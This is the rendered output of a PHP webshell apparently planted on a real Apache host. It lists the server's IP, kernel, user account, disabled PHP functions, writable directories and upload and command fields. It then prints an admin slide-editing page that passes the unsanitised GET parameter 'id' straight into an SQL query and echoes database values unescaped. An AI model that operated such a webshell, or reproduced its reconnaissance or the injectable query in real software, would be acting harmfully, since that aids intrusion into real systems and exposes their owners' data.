403Webshell
Server IP : 103.233.193.20  /  Your IP : 216.73.216.169
Web Server : Apache/2
System : Linux host1.itclever.com 4.18.0-553.16.1.el8_10.x86_64 #1 SMP Thu Aug 8 17:47:08 UTC 2024 x86_64
User : oriscomadm ( 1120)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/oriscomadm/domains/oriscom.com/private_html/admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/oriscomadm/domains/oriscom.com/private_html/admin/slide_edit.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ระบบหลังร้าน</title>
<link type="text/css" rel="stylesheet" href="css/common.css">
<link type="text/css" rel="stylesheet" href="css/style.css">

<!-- Check Form -->
<script src="js/jquery-1.6.4.min.js" type="text/javascript"></script>
<script type="text/javascript" src="js/checkform/jquery.validate.js"></script>
<script type="text/javascript" src="js/checkform/jquery.start.js"></script>

<!-- Load TinyMCE -->
<script type="text/javascript" src="js/tiny-mce/jquery.tinymce.js"></script>
<script language="javascript" type="text/javascript" src="js/tiny-mce/tiny_mce.js"></script>
<script language="javascript" type="text/javascript" src="js/tiny-mce/general.js"></script>
<script type="text/javascript">
$(document).ready(function () {
	//setupTinyMCE();
	setupProgressbar('progress-bar');
	setDatePicker('date-picker');
	setupDialogBox('dialog', 'opener');
	$('input[type="checkbox"]').fancybutton();
	$('input[type="radio"]').fancybutton();
});
</script>
<!-- /TinyMCE -->
</head>
<body id="admin">
	<div id="wrapper_admin">
    
		<?php 
		require_once("include/header.php");
		$table = "slide";
		$sql = "SELECT * FROM $table WHERE id='".$_GET['id']."'";
		$rs = mysql_query($sql);
		$arr = mysql_fetch_array($rs);
		$page = array("about"=>1,"career"=>2,"contact"=>3);
		$Lv = explode(',',$arr['level']);
		if($arr['shows']==0){$show='';}
		if($arr['shows']==1){$show='checked';}
		?>
		<div id="wrapper_centent">
        	<form action="function.php" method="post" enctype="multipart/form-data">
            <input type="hidden" name="action" value="slide_edit" />
            <input type="hidden" name="table" value="<?php echo $table?>" />
            <input type="hidden" name="id" value="<?php echo $arr['id']?>" />
            <input type="hidden" name="oldpic" value="<?php echo $arr['image']?>" />
            <table width="100%" border="0" cellspacing="0" cellpadding="0" class="tbl">
              <tr class="head_tbl">
                <td colspan="2"><h2><div><a href="slide.php">Level Up</a> | แก้ไขข้อมูล</div></h2></td>
              </tr>
              <tr>
                <td width="19%">เลือกปลายทาง</td>
                <td width="81%" style="text-align:left;"> &nbsp;&nbsp;
                <select name="type">
                <option value="">หน้าแรก</option>
				<?php
				foreach($page as $Page=>$index){
					if($Lv[0]==$Page && $Lv[1]==$index){$selected="selected";}else{$selected="";}
                    echo '<option value="'.$Page.','.$index.'" '.$selected.'>'.$Page.'</option>';
				}
				
				$ResultProduct_I = $Class->selectProduct_I(null);
				foreach($ResultProduct_I as $Level1){
					if($Lv[0]=="L1" && $Lv[1]==$Level1['id']){$selected="selected";}else{$selected="";}
                    echo '<option value="L1,'.$Level1['id'].'" '.$selected.'>L1 &rarr;'.$Level1['nameth'].'</option>';
				}

				$ResultProduct_II = $Class->selectProduct_II(null,null);
				foreach($ResultProduct_II as $Level2){
					if($Lv[0]=="L2" && $Lv[1]==$Level2['id']){$selected="selected";}else{$selected="";}
                    echo '<option value="L2,'.$Level2['id'].'" '.$selected.'>L2 &rarr;'.$Level2['nameth'].'</option>';
				}

				$ResultProduct_III = $Class->selectProduct_III(null,null);
				foreach($ResultProduct_III as $Level3){
					if($Lv[0]=="L3" && $Lv[1]==$Level3['id']){$selected="selected";}else{$selected="";}
                    echo '<option value="L3,'.$Level3['id'].'" '.$selected.'>L3 &rarr;'.$Level3['nameth'].'</option>';
				}

				$ResultProduct_IV = $Class->selectProduct_IV(null,null);
				foreach($ResultProduct_IV as $Level4){
					if($Lv[0]=="L4" && $Lv[1]==$Level4['id']){$selected="selected";}else{$selected="";}
                   echo '<option value="L4,'.$Level4['id'].'" '.$selected.'>L4 &rarr;'.$Level4['nameth'].'</option>';
				}
				/*
				$ResultProduct_V = $Class->selectProduct_V(null,null);
				foreach($ResultProduct_V as $Level5){
					if($Lv[0]=="L5" && $Lv[1]==$Level5['id']){$selected="selected";}else{$selected="";}
                    echo '<option value="L5,'.$Level5['id'].'" '.$selected.'>L5 &rarr;'.$Level5['nameth'].'</option>';
				}
				*/
                ?>
                </select>
                </td>
              </tr>
              <tr>
                <td width="19%">ภาพสไลด์</td>
                <td width="81%" style="text-align:left;"><div style="float:left;"> &nbsp;&nbsp;<input type="file" name="FileUpload" />&nbsp;&nbsp;ภาพสไลน์หน้าแรก  1400x604 pixels ,ภาพสไลน์หน้าสินค้า และหน้าอื่นๆ 1400 x 400 pixels</div></td>
              </tr>
              <tr>
                <td>ภาพตัวอย่าง</td>
                <td style="text-align:left;"><img src="<?php echo PATH?>/<?php echo $arr['image']?>" width="300" /></td>
              </tr>
              <tr>
                <td width="19%">ลำดับ</td>
                <td colspan="2" style="text-align:left;"> &nbsp;&nbsp;<input type="text" name="sort" class="input_text small digits" value="<?php echo $arr['sort']?>" /></td>
                </tr>
              <tr>
                <td width="19%">แสดงรายการ</td>
                <td colspan="2" style="text-align:left;">&nbsp;&nbsp;<input type="checkbox" name="shows" value="1" <?php echo $show?> /></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td colspan="2" style="text-align:left;"> &nbsp;&nbsp;<input type="submit" class="btn_medium" value="ตกลง" /></td>
              </tr>
            </table>
			</form>

	  </div>
	</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit